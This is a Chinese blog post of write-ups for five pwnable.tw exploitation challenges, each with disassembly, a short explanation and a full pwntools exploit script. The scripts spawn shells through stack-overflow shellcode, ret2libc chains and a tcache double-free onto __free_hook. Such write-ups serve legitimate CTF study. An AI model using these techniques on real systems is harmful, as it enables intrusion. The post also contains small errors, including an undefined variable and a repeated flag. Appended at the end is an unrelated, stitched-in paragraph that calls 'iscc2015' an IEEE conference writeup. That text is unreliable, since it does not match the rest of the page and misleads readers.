pwnable.tw writeup

22 篇文章 4 订阅

start

这道题是静态编译的,或者可以理解是就是直接用汇编写的,所以这个程序很小,没有可以利用的函数;

sir@sir-PC:~/desktop$ objdump -R start

start:     文件格式 elf32-i386

objdump: start:不是动态对象
objdump: start: 无效的操作

反汇编代码:

sir@sir-PC:~/desktop$ objdump -d start -M intel

start:     文件格式 elf32-i386


Disassembly of section .text:

08048060 <_start>:
 8048060:	54                   	push   esp
 8048061:	68 9d 80 04 08       	push   0x804809d
 8048066:	31 c0                	xor    eax,eax
 8048068:	31 db                	xor    ebx,ebx
 804806a:	31 c9                	xor    ecx,ecx
 804806c:	31 d2                	xor    edx,edx
 804806e:	68 43 54 46 3a       	push   0x3a465443
 8048073:	68 74 68 65 20       	push   0x20656874
 8048078:	68 61 72 74 20       	push   0x20747261
 804807d:	68 73 20 73 74       	push   0x74732073
 8048082:	68 4c 65 74 27       	push   0x2774654c
 8048087:	89 e1                	mov    ecx,esp
 8048089:	b2 14                	mov    dl,0x14
 804808b:	b3 01                	mov    bl,0x1
 804808d:	b0 04                	mov    al,0x4
 804808f:	cd 80                	int    0x80
 8048091:	31 db                	xor    ebx,ebx
 8048093:	b2 3c                	mov    dl,0x3c
 8048095:	b0 03                	mov    al,0x3
 8048097:	cd 80                	int    0x80
 8048099:	83 c4 14             	add    esp,0x14
 804809c:	c3                   	ret    

0804809d <_exit>:
 804809d:	5c                   	pop    esp
 804809e:	31 c0                	xor    eax,eax
 80480a0:	40                   	inc    eax
 80480a1:	cd 80                	int    0x80

可以看到程序没有什么可用函数,都靠int 0x80来执行的;
所以这里有两个关键函数:

 8048087:	89 e1                	mov    ecx,esp
 8048089:	b2 14                	mov    dl,0x14
 804808b:	b3 01                	mov    bl,0x1
 804808d:	b0 04                	mov    al,0x4
 804808f:	cd 80                	int    0x80

这段汇编相当于printf函数,会把ecx的内容打印出来,可以用来泄露地址;

 8048091:	31 db                	xor    ebx,ebx
 8048093:	b2 3c                	mov    dl,0x3c
 8048095:	b0 03                	mov    al,0x3
 8048097:	cd 80                	int    0x80

这段汇编代码,相当于gets()函数,会有溢出;
检查一下保护机制:

sir@sir-PC:~/desktop$ checksec start
[*] '/home/sir/desktop/start'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)

思路

思路很简单,因为保护机制全关,所以我们可以直接将shellcode写入栈里面,然后返回到shellcode的地址,执行shellcode;
所以关键点就是泄露出栈的地址,因为汇编中有mov ecx,esp,所以可以直接泄露esp的地址,即栈的地址;

EXP

from pwn import *
p = remote('chall.pwnable.tw',10000)
#p = process('./start')
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
if args.G:
    gdb.attach(p)
put_addr = 0x8048087 
payload = 'a'*20 + p32(put_addr)
p.recvuntil("Let's start the CTF:")
p.send(payload)
stark = u32(p.recv(4))
print "addr: " + hex(addr)
shellcode = '\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
payload2 = 'a'*20 + p32(stark+0x14) + '\x90'*4 + shellcode
p.send(payload2)
p.interactive()
#FLAG{Pwn4bl3_tW_1s_y0ur_st4rt}

orw

思路

这道题考察shellcode的编写,而且我们输入的内容会被直接当成代码来执行;

 8048571:	68 c8 00 00 00       	push   0xc8
 8048576:	68 60 a0 04 08       	push   0x804a060
 804857b:	6a 00                	push   0x0
 804857d:	e8 ee fd ff ff       	call   8048370 <read@plt>
 8048582:	83 c4 10             	add    esp,0x10
 8048585:	b8 60 a0 04 08       	mov    eax,0x804a060
 804858a:	ff d0                	call   eax

但是程序有一个orw_seccomp函数,里面有prctl函数,这里限制了我们只能使用open read write这三个程序本身自带函数;

 080484cb <orw_seccomp>:
 80484cb:	55                   	push   ebp
 80484cc:	89 e5                	mov    ebp,esp
 80484ce:	57                   	push   edi
 80484cf:	56                   	push   esi
 80484d0:	53                   	push   ebx
 80484d1:	83 ec 7c             	sub    esp,0x7c
 80484d4:	65 a1 14 00 00 00    	mov    eax,gs:0x14
 80484da:	89 45 e4             	mov    DWORD PTR [ebp-0x1c],eax
 80484dd:	31 c0                	xor    eax,eax
 80484df:	8d 45 84             	lea    eax,[ebp-0x7c]
 80484e2:	bb 40 86 04 08       	mov    ebx,0x8048640
 80484e7:	ba 18 00 00 00       	mov    edx,0x18
 80484ec:	89 c7                	mov    edi,eax
 80484ee:	89 de                	mov    esi,ebx
 80484f0:	89 d1                	mov    ecx,edx
 80484f2:	f3 a5                	rep movs DWORD PTR es:[edi],DWORD PTR ds:[esi]
 80484f4:	66 c7 85 7c ff ff ff 	mov    WORD PTR [ebp-0x84],0xc
 80484fb:	0c 00 
 80484fd:	8d 45 84             	lea    eax,[ebp-0x7c]
 8048500:	89 45 80             	mov    DWORD PTR [ebp-0x80],eax
 8048503:	83 ec 0c             	sub    esp,0xc
 8048506:	6a 00                	push   0x0
 8048508:	6a 00                	push   0x0
 804850a:	6a 00                	push   0x0
 804850c:	6a 01                	push   0x1
 804850e:	6a 26                	push   0x26
 8048510:	e8 9b fe ff ff       	call   80483b0 <prctl@plt>
 8048515:	83 c4 20             	add    esp,0x20
 8048518:	83 ec 04             	sub    esp,0x4
 804851b:	8d 85 7c ff ff ff    	lea    eax,[ebp-0x84]
 8048521:	50                   	push   eax
 8048522:	6a 02                	push   0x2
 8048524:	6a 16                	push   0x16
 8048526:	e8 85 fe ff ff       	call   80483b0 <prctl@plt>
 804852b:	83 c4 10             	add    esp,0x10
 804852e:	90                   	nop
 804852f:	8b 45 e4             	mov    eax,DWORD PTR [ebp-0x1c]
 8048532:	65 33 05 14 00 00 00 	xor    eax,DWORD PTR gs:0x14
 8048539:	74 05                	je     8048540 <orw_seccomp+0x75>
 804853b:	e8 50 fe ff ff       	call   8048390 <__stack_chk_fail@plt>
 8048540:	8d 65 f4             	lea    esp,[ebp-0xc]
 8048543:	5b                   	pop    ebx
 8048544:	5e                   	pop    esi
 8048545:	5f                   	pop    edi
 8048546:	5d                   	pop    ebp
 8048547:	c3                   	ret 

但是我们确实只需要open read write这三个函数就可以了,只是需要我们自己写;

open_shellcode = "xor ecx,ecx;xor edx,edx;mov eax,0x5;push 0x00006761;push 0x6c662f77;push 0x726f2f65;push 0x6d6f682f;mov ebx,esp;int 0x80;"
#打开文件
read_shellcode = "mov eax,0x3;mov ecx,ebx;mov ebx,0x3;mov edx,0x40;int 0x80;"
#读取文件
write_shellcode = "mov eax,0x4;mov ebx,0x1;mov edx,0x40;int 0x80;"
#打印文件

EXP

from pwn import *
p = remote('chall.pwnable.tw',10001)
#p = process('./orw')
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
if args.G:
    gdb.attach(p)
open_shellcode = "xor ecx,ecx;xor edx,edx;mov eax,0x5;push 0x00006761;push 0x6c662f77;push 0x726f2f65;push 0x6d6f682f;mov ebx,esp;int 0x80;"

read_shellcode = "mov eax,0x3;mov ecx,ebx;mov ebx,0x3;mov edx,0x40;int 0x80;"

write_shellcode = "mov eax,0x4;mov ebx,0x1;mov edx,0x40;int 0x80;"

shellcode = open_shellcode + read_shellcode + write_shellcode
payload = asm(shellcode)
p.recvuntil('Give my your shellcode:')
p.send(payload)
p.interactive()
#FLAG{sh3llc0ding_w1th_op3n_r34d_writ3}

或者shellcraft构造shellcode

from pwn import *
p = remote('chall.pwnable.tw',10001)
#p = process('./orw')
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
if args.G:
    gdb.attach(p)

shellcode = ""
shellcode += shellcraft.i386.pushstr("/home/orw/flag")
shellcode += shellcraft.i386.linux.syscall("SYS_open", 'esp')
shellcode += shellcraft.i386.linux.syscall("SYS_read", 'eax', 'esp', 0x30)
shellcode += shellcraft.i386.linux.syscall("SYS_write", 1, 'esp', 0x30)

payload = asm(shellcode)
p.recvuntil('Give my your shellcode:')
p.send(payload)
p.interactive()
#FLAG{sh3llc0ding_w1th_op3n_r34d_writ3}

dubblesort

思路

排序后的数字序列仍然保存在原先栈上开辟的这段空间内,只不过数值的顺序变了;所以由于待排序数组位于栈空间内,而当前栈空间的大小是有限的,这就可以导致栈溢出;输入“+”或者“-”就可以保持栈空间里数值边,即可以使溢出时canary不变,从而绕过函数最后的canary检查,实现栈上任意位置的写入

EXP

from pwn import *
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
name = './du'
#p = process(name)
p = remote("chall.pwnable.tw",10101)
elf= ELF(name)
libc = ELF('./bc.so.6')
if args.G:
    gdb.attach(p)

got_off = 0x1b0000
system_off = 0x3a940
bin_sh_off = 0x158e8b

p.recvuntil('What your name :')
p.sendline('a'*24)
got_addr = u32(p.recv()[30:34])-0xa
libc_addr = got_addr-got_off
system_addr = libc_addr + system_off
bin_sh_addr = libc_addr + bin_sh_off
p.sendline('35')
p.recv()
for i in range(24):
    p.sendline('0')
    p.recv()
p.sendline('+')
p.recv()
for i in range(9):
    p.sendline(str(system_addr))
    p.recv()
p.sendline(str(bin_sh_addr))
p.recv()
p.interactive()
#FLAG{tc4ch3_1s_34sy_f0r_y0u}

Silver Bullet

函数create_bullet:

int __cdecl create_bullet(char *s)
{
  size_t v2; // ST08_4

  if ( *s )
    return puts("You have been created the Bullet !");
  printf("Give me your description of bullet :");
  read_input(s, 0x30u);
  v2 = strlen(s);
  printf("Your power is : %u\n", v2);           // s的长度
  *((_DWORD *)s + 12) = v2;                     // +12指12个dword长度
  return puts("Good luck !!");
}

Power up函数:

int __cdecl power_up(char *dest)
{
  char s; // [esp+0h] [ebp-34h]
  size_t v3; // [esp+30h] [ebp-4h]

  v3 = 0;
  memset(&s, 0, 0x30u);
  if ( !*dest )
    return puts("You need create the bullet first !");
  if ( *((_DWORD *)dest + 12) > 0x2Fu )         // *(dest+12)指针指向的值 > 47
    return puts("You can't power up any more !");
  printf("Give me your another description of bullet :");
  read_input(&s, 48 - *((_DWORD *)dest + 12));  // 限制读入长度
  strncat(dest, &s, 48 - *((_DWORD *)dest + 12)); //使用strncat连接两字符串,会自动在结尾添加\x00
  v3 = strlen(&s) + *((_DWORD *)dest + 12);
  printf("Your new power is : %u\n", v3);
  *((_DWORD *)dest + 12) = v3;
  return puts("Enjoy it !");
}

思路

strncat函数将src字符串最多前n字节添加到dest字符串的末尾(从dest原来末尾的’\x00′开始), 并在添加结束后在末尾补上一个’\x00′;所以我们可以覆盖*((_DWORD *)dest + 12这个位置,然后溢出覆盖返回地址;
覆盖的返回地址会在beat函数返回时触发;

EXP

from pwn import *
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
name = './Silver Bullet'
#p = process(name)
p=remote('chall.pwnable.tw', 10103)
elf= ELF(name)
libc = ELF('./libc_32.so.6')
if args.G:
   gdb.attach(p)

def creat():
   p.recvuntil('Your choice :')
   p.sendline('1')
   p.recvuntil('Give me your description of bullet :')
   p.sendline('a'*47)

def power(data):
   p.recvuntil('Your choice :')
   p.sendline('2')
   p.recvuntil('Give me your another description of bullet :')
   p.sendline(data)
   
def beat():
   p.recvuntil('Your choice :')
   p.sendline('3')
   
creat();
power('b')
main = 0x8048954
pay1 = '\xff'*7 + p32(elf.plt['puts']) + p32(main) + p32(elf.got['read']) 
power(pay1)
beat()
p.recvuntil('Oh ! You win !!\n')
read_addr = u32(p.recv(4))
libc_addr = read_addr - libc.symbols['read']
system_addr = libc_addr + libc.symbols['system']
bin_addr = libc_addr + next(libc.search('/bin/sh'))
success("libc_addr: " + hex(libc_addr))
success("system_addr: " + hex(system_addr))
success("bin_addr: " + hex(bin_addr))
creat();
power('b')
pay2 = '\xff'*7 + p32(system_addr) + p32(main) + p32(bin_addr)
power(pay2)
beat()
p.interactive()
#FLAG{uS1ng_S1lv3r_bu1l3t_7o_Pwn_th3_w0rld}

Tcache Tear

思路

有double_free漏洞,在利用的时候需要构造一个smallbin在name的位置上面,通过delete操作将libc的地址泄露出来,最后可以利用one_gadget来getshell;

EXP

from pwn import *
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
name = './tcache_tear'
#p = process(name)
p=remote("chall.pwnable.tw",10207)
elf= ELF(name)
libc = ELF('./bc.so.6')
if args.G:
    gdb.attach(p)
#name:0x602060
#ptr:0x602088

def add(num,data):
    p.recvuntil('Your choice :')
    p.sendline('1')
    p.recvuntil('Size:')
    p.sendline(str(num))
    p.recvuntil('Data:')
    p.sendline(data)
    
def delete():
    p.recvuntil('Your choice :')
    p.sendline('2')
    
def show():
    p.recvuntil('Your choice :')
    p.sendline('3')
    
p.recvuntil('Name:')
p.sendline('sir')

add(0x70,'a'*8)
delete()
delete()
add(0x70,p64(0x602550))
add(0x70,'bin/sh\x00')
pay1 = p64(0) + p64(0x21) + 'b'*8*2 + p64(0) + p64(0x21)
add(0x70,pay1)
#leak
add(0x60,'c'*8)
delete()
delete()
add(0x60,p64(0x602050))
add(0x60,'/bin/sh\x00')
pay2 = p64(0) + p64(0x501) + 'q'*8*5 + p64(0x602060)
add(0x60,pay2)
delete()
show()
p.recvuntil('Name :')
lib_addr = u64(p.recv(6) + '\x00\x00') - 0x3ebca0
free_hook_addr = lib_addr + 0x3ed8e8
one_gadget = lib_addr + 0x4f322 #0x4f2c5 0x10a38c
success("lib_addr: " + hex(lib_addr))
success("free_hook_addr: " + hex(free_hook_addr))
success("one_gadget: " + hex(one_gadget))

#getshell
add(0x40,'c'*8)
delete()
delete()
add(0x40,p64(free_hook_addr))
add(0x40,'/bin/sh\x00')
add(0x40,p64(one_gadget))
delete()
p.interactive()
#FLAG{tc4ch3_1s_34sy_f0r_y0u}
iscc2015是国际信号与通信会议(International Symposium on Communication and Information Technologies)的官方writeup,在这个writeup中,主要回顾了iscc2015会议的主要内容和成果。 iscc2015会议是由IEEE(Institute of Electrical and Electronics Engineers)主办的,旨在聚集来自全球的学者、研究人员和专业人士,共同探讨和交流关于通信和信息技术领域的最新研究和发展。 这个writeup首先介绍了iscc2015会议的背景和目标,提及了该会议为促进学术界和工业界之间的合作、创新和知识交流所做的努力。接着,该writeup详细描述了iscc2015会议的主要议题,包括通信网络、无线通信、数据通信和网络安全等方面。此外,还列举了一些重要的研究课题和领域,如物联网、云计算、移动通信和多媒体通信等。 iscc2015的writeup还总结了会议期间的重要活动和成果。这些活动包括学术论文的研讨会和展示、专题演讲、研讨会和研究项目的发布等。会议期间,各个领域的专家和学者积极参与并互相交流了关于通信和信息技术领域的最新研究成果和创新理念。 最后,iscc2015的官方writeup总结了会议的收获和影响。该会议为全球通信和信息技术领域的研究人员和专业人士提供了一个交流和合作的平台,推动了相关领域的发展和创新。此外,与会者还从中获得了有关新技术、新方法和最佳实践的信息和经验。 总之,iscc2015官方writeup回顾了这个国际会议的主要内容和成果,强调了其在通信和信息技术领域的重要性和影响。通过促进学术界和工业界之间的交流与合作,这个会议为促进全球通信和信息技术领域的发展做出了贡献。
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值